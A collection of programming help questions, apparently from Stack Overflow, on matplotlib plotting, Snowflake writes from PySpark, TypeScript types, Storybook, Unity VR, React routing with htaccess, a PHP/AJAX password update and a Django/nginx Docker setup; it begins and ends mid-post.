    c = int(entry_ic.get())
    start = str(entry_start.get())

    # List 1
    line_time_x = [start]
    line_y = [0,x]

    # List 2
    line2_time_x = []
    line2_y = []

    from datetime import datetime, timedelta

    # Hours
    h = (x-c)/(value*60)
    h_int = int(h)

    # Minutes
    min2 = (h - h_int)*60
    min_int = int(min2)

    start_dt = datetime.strptime(start,"%H:%M")

    import datetime

    start_h = start_dt.hour
    start_min = start_dt.minute

    time1 = timedelta(hours=start_h, minutes=start_min)
    time2 = timedelta(hours=h_int, minutes=min_int)

    import datetime

    end = time1 + time2
    end_str = str(end)
    end3 = end_str[0:5]

    line_time_x.append(end3)

    #--------------------------------

    with open("testdataTIME1.csv", "r") as filedata:
        lines = csv.reader(filedata, delimiter=",")
        for row in lines:
            line2_time_x.append(row[0])
            line2_y.append(int(row[1]))

    # Update the data in the existing plots
    line1.set_xdata(line_time_x)
    line1.set_ydata(line_y)

    line2.set_xdata(line2_time_x)
    line2.set_ydata(line2_y)

    # Redraw the canvas to reflect the changes
    canvas.draw()

Another question is it better to automatically update the diagram with the matplotlib animation function or to redraw the history again and again

Thanks in advance!


问:
Getting error while using overwrite mode with column mapping in spark
I am loading data from CSV files that are present under S3 into Snowflake table using a pyspark script. Earlier, the table had 10 columns & in the updated files I started receiving 12 columns. Now in Snowflake you can’t add new columns in between (we can alter a table and add columns in between in MySQL, but in Snowflake it is possible in the end only).

I have now altered the table and added two new columns in the end.

In the script I am doing upserts (insert - update). For new records that are inserted in snowflake, I am using append mode. For update records, I am using overwrite mode.

In the insertion append mode, I have specified column mapping by name (it is working fine)

```<code>df.write.format(“net.snowflake.spark.snowflake”).options(“column_mapping”,”name”).mode(“append”).save()
</code>```

But when I added column mapping by name in update logic (overwrite mode).
it is giving me a error saying column mapping only works with append mode.

```<code>df.write.format(“net.snowflake.spark.snowflake”).options(“column_mapping”,”name”).mode(“overwrite”).save()
</code>```

I have to specify column mapping because order of columns in snowflake table is different from order of columns in csv file.

Error:

the column mapping only works in append mode.

Body:
I am loading data from CSV files that are present under S3 into Snowflake table using a pyspark script. Earlier, the table had 10 columns & in the updated files I started receiving 12 columns. Now in Snowflake you can’t add new columns in between (we can alter a table and add columns in between in MySQL, but in Snowflake it is possible in the end only).

I have now altered the table and added two new columns in the end.

In the script I am doing upserts (insert - update). For new records that are inserted in snowflake, I am using append mode. For update records, I am using overwrite mode.

In the insertion append mode, I have specified column mapping by name (it is working fine)

df.write.format(“net.snowflake.spark.snowflake”).options(“column_mapping”,”name”).mode(“append”).save()

But when I added column mapping by name in update logic (overwrite mode).
it is giving me a error saying column mapping only works with append mode.

df.write.format(“net.snowflake.spark.snowflake”).options(“column_mapping”,”name”).mode(“overwrite”).save()

I have to specify column mapping because order of columns in snowflake table is different from order of columns in csv file.

Error:

the column mapping only works in append mode.


问:
What are the technical differences between these two methods of "resolving" an intersection type?
As in the title.
"Resolving" as in converting { a: string } & { b: string } to { a: string, b: string }.

This is @jcalz's one, from his answer to "How can I see the full expanded contract of a Typescript type?":

```<code>type Expand<T> = T extends infer O ? { [K in keyof O]: O[K] } : never;
</code>```

And this is his summary:

Those use conditional type inference to "copy" a type T into a new type variable O and then an identity-like mapped type which iterates through the copied type's properties.

The conditional type inference is conceptually a no-op, but it's used to distribute union types and to force the compiler to evaluate the "true" branch of the conditional (if you redefine Expand<T> without it, sometimes the compiler will just output the mapped type {[K in keyof RelevantType]: RelevantType[K]}, which is not what you want to see).

And this is the one Gabriel Vergnaud uses in his Type-Level Typescript workshop:

```<code>/**
 * Compute is a helper converting intersections of objects into
 * flat, plain object types.
 */
type Compute<T> = { [K in keyof T]: T[K] } & unknown
</code>```

As to the methods of the types, @jcalz's one uses the conditional type inference to force the evaluation of the type, while Gabriel's one uses an intersection with unknown.

EDIT

To clarify:

What are the technical differences in the output of these two methods?
And are there any cases where their output will differ?

Bonus points for info on things like performance.

Body:
As in the title.
"Resolving" as in converting { a: string } & { b: string } to { a: string, b: string }.

This is @jcalz's one, from his answer to "How can I see the full expanded contract of a Typescript type?":

type Expand<T> = T extends infer O ? { [K in keyof O]: O[K] } : never;

And this is his summary:

Those use conditional type inference to "copy" a type T into a new type variable O and then an identity-like mapped type which iterates through the copied type's properties.

The conditional type inference is conceptually a no-op, but it's used to distribute union types and to force the compiler to evaluate the "true" branch of the conditional (if you redefine Expand<T> without it, sometimes the compiler will just output the mapped type {[K in keyof RelevantType]: RelevantType[K]}, which is not what you want to see).

And this is the one Gabriel Vergnaud uses in his Type-Level Typescript workshop:

/**
 * Compute is a helper converting intersections of objects into
 * flat, plain object types.
 */
type Compute<T> = { [K in keyof T]: T[K] } & unknown

As to the methods of the types, @jcalz's one uses the conditional type inference to force the evaluation of the type, while Gabriel's one uses an intersection with unknown.

EDIT

To clarify:

What are the technical differences in the output of these two methods?
And are there any cases where their output will differ?

Bonus points for info on things like performance.


问:
How do I transfer Integers from python into another programm
I have created a programm that generates prime numbers in ascending order and calculates the difference between a prime number and the following one. It all works but I want to export the differences into another website which creates a graph based of input. Is there any non complicated way to do this. I am a beginner

I haven't really tried anything because I have no idea how to even begin this.


问:
How to customize Storybook's UI?
I'm trying to customize the way Storybook's UI looks and behaves, by customizing a manager.js file placed into the /.storybook folder, following their documentation :

```<code>// .storybook/manager.js

import { addons } from '@storybook/addons';

addons.setConfig({
  isFullscreen: false,
  showNav: true,
  showPanel: true,
  panelPosition: 'bottom',
  enableShortcuts: true,
  showToolbar: true,
  theme: undefined,
  selectedPanel: undefined,
  initialActive: 'sidebar',
  sidebar: {
    showRoots: false,
    collapsedRoots: ['other'],
  },
  toolbar: {
    title: { hidden: false },
    zoom: { hidden: false },
    eject: { hidden: false },
    copy: { hidden: false },
    fullscreen: { hidden: false },
  },
});
</code>```

I'm changing some parameters, nothing changes on the UI. I even tried setting the theme to dark for it to be obvious, nothing happens. The server refreshes correctly, I even tried to restart it.
I'm running Storybook 6.5.14 on localhost in a react app, the dependencies "@storybook/theming": "^6.5.15" and "@storybook/addons": "^6.4.22" are installed.

Title: How to customize Storybook's UI?

Body:
I'm trying to customize the way Storybook's UI looks and behaves, by customizing a manager.js file placed into the /.storybook folder, following their documentation :

// .storybook/manager.js

import { addons } from '@storybook/addons';

addons.setConfig({
  isFullscreen: false,
  showNav: true,
  showPanel: true,
  panelPosition: 'bottom',
  enableShortcuts: true,
  showToolbar: true,
  theme: undefined,
  selectedPanel: undefined,
  initialActive: 'sidebar',
  sidebar: {
    showRoots: false,
    collapsedRoots: ['other'],
  },
  toolbar: {
    title: { hidden: false },
    zoom: { hidden: false },
    eject: { hidden: false },
    copy: { hidden: false },
    fullscreen: { hidden: false },
  },
});

I'm changing some parameters, nothing changes on the UI. I even tried setting the theme to dark for it to be obvious, nothing happens. The server refreshes correctly, I even tried to restart it.
I'm running Storybook 6.5.14 on localhost in a react app, the dependencies "@storybook/theming": "^6.5.15" and "@storybook/addons": "^6.4.22" are installed.


问:
How to enable/disable Locomotion System components via button click
Pretty much what the title says.

I'm creating a VR game in Unity and I want the player to be able to change their movement and camera settings via an in-game menu. What's giving me trouble at the moment is figuring out how to retrieve each (or just one) component (Action-Based Continuous Move, Action-Based Snap Turn, etc.) so that I can set them to true/false.

My idea was to set up a Canvas/Panel/Button on click event that passed a string into a function, and based on that string value, used if-statements to determine which components to enable/disable.

The script itself grabs the game object using: GameObject locomotion = GameObject.Find("Locomotion System");.

I tried using GetComponent<ActionBasedContinuousMoveProvider>.enabled = false; however it didn't work like I'd hoped.


问:
Problem with React Route and Htaccess, routes with trailing slash
I have a problem, I have ads running on ads and we are migrating the system to react, and I believe there are problems with htaccess, it is working locally. I have the following routes.

```<code><Route path={"/"} element={<Credit redirectFinal={urlRedirectCreditCard} list={listCredit}/>}/>
<Route path={"/quiz-cartao-fb"} element={<Credit redirectFinal={urlRedirectCreditCard} list={listCredit}/>}/>
<Route path={"/quiz-cartao-2022"} element={<Credit redirectFinal={urlRedirectCreditCard} list={listCredit}/>}/>
<Route path={"/quiz-cartao-gdn-brasil-12"}
       element={<Credit redirectFinal={urlRedirectCreditCard} list={listCredit}/>}/>
<Route path={"/quiz-cartao-tab"} element={<Credit redirectFinal={urlRedirectCreditCard} list={listCredit}/>}/>
<Route path={"/quiz-cartao-tiktok-9084"} element={<Credit
    redirectFinal={"https://estoaresearch.com/ideal-para-voce/conheca-o-cartao-superdigital-perfeito-para-quem-esta-negativado/?utm_source=tiktok-cart"} list={listCredit}/>}/>

<Route path={"/quiz-emprestimos-2022"} element={<Lending redirectFinal={urlRedirectLending} list={listLending}/>}/>
<Route path={"/quiz-emprestimo-gdn-brasil-12"} element={<Lending redirectFinal={urlRedirectLending} list={listLending}/>}/>
<Route path={"/quiz-emprestimo-tab"} element={<Lending redirectFinal={urlRedirectLending} list={listLending}/>}/>
<Route path={"/quiz-emp-2"} element={<Lending redirectFinal={urlRedirectLending} list={listLending}/>}/>

<Route path={"/quiz-cartao-fb/"} element={<Credit redirectFinal={urlRedirectCreditCard} list={listCredit}/>}/>
<Route path={"/quiz-cartao-2022/"} element={<Credit redirectFinal={urlRedirectCreditCard} list={listCredit}/>}/>
<Route path={"/quiz-cartao-gdn-brasil-12/"}
       element={<Credit redirectFinal={urlRedirectCreditCard} list={listCredit}/>}/>
<Route path={"/quiz-cartao-tab/"} element={<Credit redirectFinal={urlRedirectCreditCard} list={listCredit}/>}/>
<Route path={"/quiz-cartao-tiktok-9084/"} element={<Credit
    redirectFinal={"https://estoaresearch.com/ideal-para-voce/conheca-o-cartao-superdigital-perfeito-para-quem-esta-negativado/?utm_source=tiktok-cart"} list={listCredit}/>}/>

<Route path={"/quiz-emprestimos-2022/"} element={<Lending redirectFinal={urlRedirectLending} list={listLending}/>}/>
<Route path={"/quiz-emprestimo-gdn-brasil-12/"} element={<Lending redirectFinal={urlRedirectLending} list={listLending}/>}/>
<Route path={"/quiz-emprestimo-tab/"} element={<Lending redirectFinal={urlRedirectLending} list={listLending}/>}/>
<Route path={"/quiz-emp-2/"} element={<Lending redirectFinal={urlRedirectLending} list={listLending}/>}/>
</code>```

And the following htaccess

```<code># React Router
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} -f [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^ - [L]
RewriteRule ^ index.html [L]
</code>```

In the development environment, all links are working, including the routes with / at the end, when sending to the production environment the routes with / display a blank screen while the other routes continue to work. Can someone help me?

I've tried several different htaccess

Body:
I have a problem, I have ads running on ads and we are migrating the system to react, and I believe there are problems with htaccess, it is working locally. I have the following routes.

<Route path={"/"} element={<Credit redirectFinal={urlRedirectCreditCard} list={listCredit}/>}/>
<Route path={"/quiz-cartao-fb"} element={<Credit redirectFinal={urlRedirectCreditCard} list={listCredit}/>}/>
<Route path={"/quiz-cartao-2022"} element={<Credit redirectFinal={urlRedirectCreditCard} list={listCredit}/>}/>
<Route path={"/quiz-cartao-gdn-brasil-12"}
       element={<Credit redirectFinal={urlRedirectCreditCard} list={listCredit}/>}/>
<Route path={"/quiz-cartao-tab"} element={<Credit redirectFinal={urlRedirectCreditCard} list={listCredit}/>}/>
<Route path={"/quiz-cartao-tiktok-9084"} element={<Credit
    redirectFinal={"https://estoaresearch.com/ideal-para-voce/conheca-o-cartao-superdigital-perfeito-para-quem-esta-negativado/?utm_source=tiktok-cart"} list={listCredit}/>}/>

<Route path={"/quiz-emprestimos-2022"} element={<Lending redirectFinal={urlRedirectLending} list={listLending}/>}/>
<Route path={"/quiz-emprestimo-gdn-brasil-12"} element={<Lending redirectFinal={urlRedirectLending} list={listLending}/>}/>
<Route path={"/quiz-emprestimo-tab"} element={<Lending redirectFinal={urlRedirectLending} list={listLending}/>}/>
<Route path={"/quiz-emp-2"} element={<Lending redirectFinal={urlRedirectLending} list={listLending}/>}/>

<Route path={"/quiz-cartao-fb/"} element={<Credit redirectFinal={urlRedirectCreditCard} list={listCredit}/>}/>
<Route path={"/quiz-cartao-2022/"} element={<Credit redirectFinal={urlRedirectCreditCard} list={listCredit}/>}/>
<Route path={"/quiz-cartao-gdn-brasil-12/"}
       element={<Credit redirectFinal={urlRedirectCreditCard} list={listCredit}/>}/>
<Route path={"/quiz-cartao-tab/"} element={<Credit redirectFinal={urlRedirectCreditCard} list={listCredit}/>}/>
<Route path={"/quiz-cartao-tiktok-9084/"} element={<Credit
    redirectFinal={"https://estoaresearch.com/ideal-para-voce/conheca-o-cartao-superdigital-perfeito-para-quem-esta-negativado/?utm_source=tiktok-cart"} list={listCredit}/>}/>

<Route path={"/quiz-emprestimos-2022/"} element={<Lending redirectFinal={urlRedirectLending} list={listLending}/>}/>
<Route path={"/quiz-emprestimo-gdn-brasil-12/"} element={<Lending redirectFinal={urlRedirectLending} list={listLending}/>}/>
<Route path={"/quiz-emprestimo-tab/"} element={<Lending redirectFinal={urlRedirectLending} list={listLending}/>}/>
<Route path={"/quiz-emp-2/"} element={<Lending redirectFinal={urlRedirectLending} list={listLending}/>}/>

And the following htaccess

# React Router
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} -f [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^ - [L]
RewriteRule ^ index.html [L]

In the development environment, all links are working, including the routes with / at the end, when sending to the production environment the routes with / display a blank screen while the other routes continue to work. Can someone help me?

I've tried several different htaccess


问:
how can i change a user's password using php and ajax?
When a user accesses the website through the login, a page profile.php is displayed which shows the user's data (the password is not shown) in a table and displays a form to modify this data.
The problem is that all the data is modified correctly except the password, which is modified but it is not the one sent by the form.

Connection to the database:

```<code><?php

include('../php/.env.php');

class DB {

    public function __construct()
    {
        if ($_SESSION['usuario'][2] != 'admin' || $_SESSION['usuario'][2] != 'user') {
            header('location:../php/login.php');
            exit();
        }
    }

    public static function conn()
    {
        // conexión a la base de datos
        try {
            $conn = new PDO("mysql:host=" . SERVIDOR . ";dbname=" . BD, USUARIO, PASSWORD);
            $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
            return $conn;
        } catch (PDOException $e) {
            echo 'HA FALLADO LA CONEXIÓN: ' . $e->getMessage();
        }
    }
}
</code>```

perfi.php (form)

```<code><?php
            <div class="container p-4">
                <div class="row">
                    <div class="col-md-5 mt-4">
                        <div class="border">
                            <div class="card-body">
                                <!-- form no tiene el atributo action porque lo vamos a procesar por JS -->
                                <form class="form" id="form-editar">
                                    <input type="hidden" id="idUser"/>
                                    <div class="form-label">
                                        <input type="text" id="nombre" placeholder="Nombre" class="form-control mb-3" />
                                        <input type="text" id="apellidos" class="form-control mb-3" placeholder="Apellidos">
                                        <input type="tel" id="telefono" class="form-control mb-3" placeholder="Teléfono">
                                        <input type="text" id="direccion" class="form-control mb-3" placeholder="Dirección">
                                        <input type="password" id="contrasena" class="form-control mb-3" autocomplete="off" placeholder="Contraseña">
                                    </div>
                                    <button type="submit" class="btn btn-primary col-12 text-center">
                                        Actualizar perfil
                                    </button>
                                </form>
                            </div>
                        </div>
                    </div>
                    <div class="col-md-7 text-center mt-4">
                        <table class="table table-bordered table-sm">
                            <thead>
                                <tr>
                                    <td>Id</td>
                                    <td>Nombre</td>
                                    <td>Apellidos</td>
                                    <td>Teléfono</td>
                                    <td>Dirección</td>
                                    <td>Modificar perfil</td>
                                </tr>
                            </thead>
                            <tbody id="datos"></tbody>
                        </table>
                    </div>
                </div>
            </div>
</code>```

MYSQL

users_data contains: idUser(PK), first name, last name, phone number, address

users_login contains: idLogin, idUser(FK), usuario, contrasena, rol

datos.php (shows the user's data )

```<code><?php
// realiza una consulta a la bbdd de los datos del usuario y las envía al navegador

include('./DB.php');

session_start();

if ($_SESSION['usuario'][2] == 'user' || $_SESSION['usuario'][2] == 'admin') {

    $conexion = DB::conn();
    $sentencia = "SELECT * FROM users_data WHERE idUser = :idUser";
    $consulta = $conexion->prepare($sentencia);
    $consulta->execute(array(':idUser' => $_SESSION['usuario'][0]));

    $json = [];
    while ($row = $consulta->fetch(PDO::FETCH_ASSOC)) {
        $json[] = [
            'idUser' => $row['idUser'],
            'nombre' => $row['nombre'],
            'apellidos' => $row['apellidos'],
            'telefono' => $row['telefono'],
            'direccion' => $row['direccion']
        ];
    }
    $consulta->closeCursor();
    $conexion = null;
    $jsonstring = json_encode($json);
    echo $jsonstring;
} else {
    header('location:../php/login.php');
}
</code>```

prueba.php (it shows the user's data in the form for its later modification)

```<code><?php

include('./DB.php');

session_start();

    $conexion = DB::conn();
    $sentencia = "SELECT * FROM users_data WHERE idUser = :idUser";
    $consulta = $conexion->prepare($sentencia);
    $consulta->execute(array(':idUser' => $_POST['idUser']));

    $json = [];
    while ($row = $consulta->fetch(PDO::FETCH_ASSOC)) {
        $json[] = [
            'idUser' => $row['idUser'],
            'nombre' => $row['nombre'],
            'apellidos' => $row['apellidos'],
            'telefono' => $row['telefono'],
            'direccion' => $row['direccion']
        ];
    }

    $consulta->closeCursor();
    $conexion = null;
    $jsonstring = json_encode($json[0]);
    echo $jsonstring;
</code>```

modificarDatos.php (modifies the user data in the table users_data and users_login.)

```<code>include('./DB.php');

session_start();

if (isset($_POST['idUser'])) {
    $idUser = filter_input(INPUT_POST, 'idUser', FILTER_SANITIZE_NUMBER_INT, FILTER_VALIDATE_INT);
    $nombre = htmlentities($_POST['nombre']);
    $apellidos = htmlentities($_POST['apellidos']);
    $telefono = filter_input(INPUT_POST, 'telefono', FILTER_SANITIZE_NUMBER_INT, FILTER_VALIDATE_INT);
    $direccion = htmlentities($_POST['direccion']);
    $pass = htmlentities($_POST['contrasena']);
    $contrasena = password_hash($pass, PASSWORD_BCRYPT);

    $conexion = DB::conn();
    $sentencia = "UPDATE users_data SET nombre = :nuevoNombre, apellidos = :nuevoApellido, telefono = :nuevoTelefono, direccion = :nuevaDireccion  WHERE idUser = $idUser";
    $consulta = $conexion->prepare($sentencia);
    $consulta->bindParam(":nuevoNombre", $nombre);
    $consulta->bindParam("nuevoApellido", $apellidos);
    $consulta->bindParam(":nuevoTelefono", $telefono);
    $consulta->bindParam(":nuevaDireccion", $direccion);
    $consulta->execute();
    $sentencia2 = "UPDATE users_login SET contrasena = :nuevaContrasena WHERE idLogin = $idUser";
    $consulta = $conexion->prepare($sentencia2);
    $consulta->bindParam(":nuevaContrasena", $contrasena);
    $consulta->execute();

}
</code>```

JS - AJAX

```<code>$(document).ready(function () {
  console.log("jQuery esta funcionando");

  // obtains user data
  function mostrarDatos() {
    $.ajax({
      type: "GET",
      url: "datos.php",
      success: (response) => {
        let datos = JSON.parse(response);
        let template = "";

        datos.forEach((dato) => {
          // scrolls through and displays user data
          template += `
            <tr idUser="${dato.idUser}"class="align-middle">
              <td>${dato.idUser}</td>
              <td>${dato.nombre}</td>
              <td>${dato.apellidos}</td>
              <td>${dato.telefono}</td>
              <td>${dato.direccion}</td>
              <td>
                <button class="edit-datos btn btn-danger">
                  Modificar datos
                </button>
              </td>
            </tr>
          `;
        });
        $("#datos").html(template);
      },
    });
  }
  mostrarDatos();

  // displays the user data in the form so that they can be modified
  $(document).on("click", ".edit-datos", () => {
    let element = $(this)[0].activeElement.parentElement.parentElement;
    let idUser = $(element).attr("idUser");
    $.post("prueba.php", { idUser }, (response) => {
      let datos = JSON.parse(response);
      $("#idUser").val(datos.idUser);
      $("#nombre").val(datos.nombre);
      $("#apellidos").val(datos.apellidos);
      $("#telefono").val(datos.telefono);
      $("#direccion").val(datos.direccion);
      $("#contrasena").val(datos.contrasena);
    });
  });

  $("#form-editar").submit((e) => {
    e.preventDefault();
    const postData = {
      idUser: $("#idUser").val(),
      nombre: $("#nombre").val(),
      apellidos: $("#apellidos").val(),
      telefono: $("#telefono").val(),
      direccion: $("#direccion").val(),
      contrasena: $("#contrasena").val()
    };
    $.post("modificarDatos.php", postData, (response) => {
      mostrarDatos(response);
      $("#form-editar").trigger("reset"); // resetea el formulario
    });
  });
});
</code>```

Body:
When a user accesses the website through the login, a page profile.php is displayed which shows the user's data (the password is not shown) in a table and displays a form to modify this data.
The problem is that all the data is modified correctly except the password, which is modified but it is not the one sent by the form.

Connection to the database:

<?php

include('../php/.env.php');

class DB {

    public function __construct()
    {
        if ($_SESSION['usuario'][2] != 'admin' || $_SESSION['usuario'][2] != 'user') {
            header('location:../php/login.php');
            exit();
        }
    }

    public static function conn()
    {
        // conexión a la base de datos
        try {
            $conn = new PDO("mysql:host=" . SERVIDOR . ";dbname=" . BD, USUARIO, PASSWORD);
            $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
            return $conn;
        } catch (PDOException $e) {
            echo 'HA FALLADO LA CONEXIÓN: ' . $e->getMessage();
        }
    }
}

perfi.php (form)

<?php

                                <form class="form" id="form-editar">
                                    <input type="hidden" id="idUser"/>

                                        <input type="text" id="nombre" placeholder="Nombre" class="form-control mb-3" />
                                        <input type="text" id="apellidos" class="form-control mb-3" placeholder="Apellidos">
                                        <input type="tel" id="telefono" class="form-control mb-3" placeholder="Teléfono">
                                        <input type="text" id="direccion" class="form-control mb-3" placeholder="Dirección">
                                        <input type="password" id="contrasena" class="form-control mb-3" autocomplete="off" placeholder="Contraseña">

                                    <button type="submit" class="btn btn-primary col-12 text-center">
                                        Actualizar perfil
                                    </button>
                                </form>

                                    Id
                                    Nombre
                                    Apellidos
                                    Teléfono
                                    Dirección
                                    Modificar perfil

MYSQL

users_data contains: idUser(PK), first name, last name, phone number, address

users_login contains: idLogin, idUser(FK), usuario, contrasena, rol

datos.php (shows the user's data )

<?php
// realiza una consulta a la bbdd de los datos del usuario y las envía al navegador

include('./DB.php');

session_start();

if ($_SESSION['usuario'][2] == 'user' || $_SESSION['usuario'][2] == 'admin') {

    $conexion = DB::conn();
    $sentencia = "SELECT * FROM users_data WHERE idUser = :idUser";
    $consulta = $conexion->prepare($sentencia);
    $consulta->execute(array(':idUser' => $_SESSION['usuario'][0]));

    $json = [];
    while ($row = $consulta->fetch(PDO::FETCH_ASSOC)) {
        $json[] = [
            'idUser' => $row['idUser'],
            'nombre' => $row['nombre'],
            'apellidos' => $row['apellidos'],
            'telefono' => $row['telefono'],
            'direccion' => $row['direccion']
        ];
    }
    $consulta->closeCursor();
    $conexion = null;
    $jsonstring = json_encode($json);
    echo $jsonstring;
} else {
    header('location:../php/login.php');
}

prueba.php (it shows the user's data in the form for its later modification)

<?php

include('./DB.php');

session_start();

    $conexion = DB::conn();
    $sentencia = "SELECT * FROM users_data WHERE idUser = :idUser";
    $consulta = $conexion->prepare($sentencia);
    $consulta->execute(array(':idUser' => $_POST['idUser']));

    $json = [];
    while ($row = $consulta->fetch(PDO::FETCH_ASSOC)) {
        $json[] = [
            'idUser' => $row['idUser'],
            'nombre' => $row['nombre'],
            'apellidos' => $row['apellidos'],
            'telefono' => $row['telefono'],
            'direccion' => $row['direccion']
        ];
    }

    $consulta->closeCursor();
    $conexion = null;
    $jsonstring = json_encode($json[0]);
    echo $jsonstring;

modificarDatos.php (modifies the user data in the table users_data and users_login.)

include('./DB.php');

session_start();

if (isset($_POST['idUser'])) {
    $idUser = filter_input(INPUT_POST, 'idUser', FILTER_SANITIZE_NUMBER_INT, FILTER_VALIDATE_INT);
    $nombre = htmlentities($_POST['nombre']);
    $apellidos = htmlentities($_POST['apellidos']);
    $telefono = filter_input(INPUT_POST, 'telefono', FILTER_SANITIZE_NUMBER_INT, FILTER_VALIDATE_INT);
    $direccion = htmlentities($_POST['direccion']);
    $pass = htmlentities($_POST['contrasena']);
    $contrasena = password_hash($pass, PASSWORD_BCRYPT);

    $conexion = DB::conn();
    $sentencia = "UPDATE users_data SET nombre = :nuevoNombre, apellidos = :nuevoApellido, telefono = :nuevoTelefono, direccion = :nuevaDireccion  WHERE idUser = $idUser";
    $consulta = $conexion->prepare($sentencia);
    $consulta->bindParam(":nuevoNombre", $nombre);
    $consulta->bindParam("nuevoApellido", $apellidos);
    $consulta->bindParam(":nuevoTelefono", $telefono);
    $consulta->bindParam(":nuevaDireccion", $direccion);
    $consulta->execute();
    $sentencia2 = "UPDATE users_login SET contrasena = :nuevaContrasena WHERE idLogin = $idUser";
    $consulta = $conexion->prepare($sentencia2);
    $consulta->bindParam(":nuevaContrasena", $contrasena);
    $consulta->execute();

}

JS - AJAX

$(document).ready(function () {
  console.log("jQuery esta funcionando");

  // obtains user data
  function mostrarDatos() {
    $.ajax({
      type: "GET",
      url: "datos.php",
      success: (response) => {
        let datos = JSON.parse(response);
        let template = "";

        datos.forEach((dato) => {
          // scrolls through and displays user data
          template += `

              ${dato.idUser}
              ${dato.nombre}
              ${dato.apellidos}
              ${dato.telefono}
              ${dato.direccion}

                <button class="edit-datos btn btn-danger">
                  Modificar datos
                </button>

          `;
        });
        $("#datos").html(template);
      },
    });
  }
  mostrarDatos();

  // displays the user data in the form so that they can be modified
  $(document).on("click", ".edit-datos", () => {
    let element = $(this)[0].activeElement.parentElement.parentElement;
    let idUser = $(element).attr("idUser");
    $.post("prueba.php", { idUser }, (response) => {
      let datos = JSON.parse(response);
      $("#idUser").val(datos.idUser);
      $("#nombre").val(datos.nombre);
      $("#apellidos").val(datos.apellidos);
      $("#telefono").val(datos.telefono);
      $("#direccion").val(datos.direccion);
      $("#contrasena").val(datos.contrasena);
    });
  });

  $("#form-editar").submit((e) => {
    e.preventDefault();
    const postData = {
      idUser: $("#idUser").val(),
      nombre: $("#nombre").val(),
      apellidos: $("#apellidos").val(),
      telefono: $("#telefono").val(),
      direccion: $("#direccion").val(),
      contrasena: $("#contrasena").val()
    };
    $.post("modificarDatos.php", postData, (response) => {
      mostrarDatos(response);
      $("#form-editar").trigger("reset"); // resetea el formulario
    });
  });
});


问:
Issue with django, react and nginx server with docker
I am new with nginx and trying to understand how its works.
I build and dockerize a website using react for the frontend and django for backend and serving both react and django api with nginx.
But when I reach localhost in the browser, which should serve react app, everything works well. The problem appears when I want to access for example localhost/docs or localhost/admin which should be serve by gunicorn and django. I always obtain bad request (400)

In my settings.py I have

```<code>ALLOWED_HOSTS = []
ALLOWED_HOSTS.extend(
    filter(
        None,
        os.environ.get('ALLOWED_HOSTS', '').split(' '),
    )
)

STATIC_URL = '/static/static/'
MEDIA_URL = '/static/media/'

MEDIA_ROOT = '/vol/web/mediafiles'
STATIC_ROOT = '/vol/web/staticfiles'
</code>```

my .env file

```<code>DB_NAME=dbname
DB_USER=rootuser
DB_PASS=dbpassword
DJANGO_SECRET_KEY=secretkey_for_production_environment
DJANGO_ALLOWED_HOSTS=localhost
</code>```

Here is docker-compose-prod.yml file

```<code>version: "3.9"

services:
  db:
    image: postgres:13-alpine
    container_name: db-prod-c
    restart: always
    volumes:
      - db-prod:/var/lib/postgresql/data
    environment:
      - POSTGRES_DB=${DB_NAME}
      - POSTGRES_USER=${DB_USER}
      - POSTGRES_PASSWORD=${DB_PASS}

  backend:
    build:
      context: ./backend
      dockerfile: Dockerfile.prod
    #restart: always
    image: api-prod-i:django-prod
    container_name: api-prod-c
    user: root
    volumes:
      - mediafiles:/vol/web/mediafiles
      - staticfiles:/vol/web/staticfiles
    environment:
      - DB_HOST=db
      - DB_NAME=${DB_NAME}
      - DB_USER=${DB_USER}
      - DB_PASS=${DB_PASS}
      - SECRET_KEY=${DJANGO_SECRET_KEY}
      - ALLOWED_HOSTS=${DJANGO_ALLOWED_HOSTS}
    expose:
      - 8000
    depends_on:
      - db
    # networks:
    #   - django-network

  frontend:
    build:
      context: ./frontend
      dockerfile: Dockerfile
    #restart: always
    image: client-prod-i:django-prod
    container_name: client-prod-c
    volumes:
      - react-build:/frontend/build
    depends_on:
      - backend

  proxy:
    build:
      context: ./webserver
      dockerfile: Dockerfile
    image: proxy-i
    container_name: proxy-c
    #restart: always
    ports:
      - 80:80
    volumes:
      - staticfiles:/webserver/staticfiles
      - mediafiles:/webserver/mediafiles
      - react-build:/webserver/buildfiles
    depends_on:
      - backend
      - frontend
    # networks:
    #   - django-network

# networks:
#   django-network:
#     name: django-network

volumes:
  db-prod:
  react-build:
  staticfiles:
  mediafiles:

</code>```

The configuration of nginx

```<code>
upstream django {
    server backend:8000;
}

log_format custom_json escape=json
    '{'
        '"time_local":"$time_local",'
        '"remote_addr":"$remote_addr",'
        '"remote_user":"$remote_user",'
        '"request":"$request",'
        '"status": "$status",'
        '"body_bytes_sent":"$body_bytes_sent",'
        '"http_referrer":"$http_referer",'
        '"http_user_agent":"$http_user_agent",'
        '"request_time":"$request_time"'
    '}';

server {
    listen 80;

    large_client_header_buffers 4 16k;

    access_log /var/log/nginx/access.log custom_json;

    error_log /var/log/nginx/error.log debug;

    #error_log /var/log/nginx/error.log.info info;
    #error_log /var/log/nginx/error.log.crit crit;
    #error_log /var/log/nginx/error.log.warn warn;
    #error_log /var/log/nginx/error.log.error error;
    #error_log /var/log/nginx/error.log.alert alert;
    #error_log /var/log/nginx/error.log.notice notice;
    #error_log /var/log/nginx/error.log.emerg emerg;

    location / {
        root /webserver/buildfiles;
    }

    location /static/static/ {
        alias /webserver/staticfiles/;
    }

    location /static/media/ {
        alias /webserver/mediafiles/;
    }

    location /api {
        proxy_pass http://django;
    }

    location /admin/ {
        proxy_pass http://django;
    }

    location /docs {
        proxy_pass http://django;
    }
}
</code>```

When I deploy with docker-compose everything works well as follow

```<code>api-prod-c      sh entrypoint.sh                 Up       8000/tcp
client-prod-c   docker-entrypoint.sh npm r ...   Exit 0
db-prod-c       docker-entrypoint.sh postgres    Up       5432/tcp
proxy-c         /docker-entrypoint.sh /run.sh    Up       0.0.0.0:80->80/tcp,:::80->80/tcp, 8080/tcp

</code>```

I tried to change
DJANGO_ALLOWED_HOST=localhost
in .env file to
DJANGO_ALLOWED_HOST=backend since backend is the service name of my django container which is used in upstream, but still getting bad request (400)

I tried to log nginx error_log and obtain the following

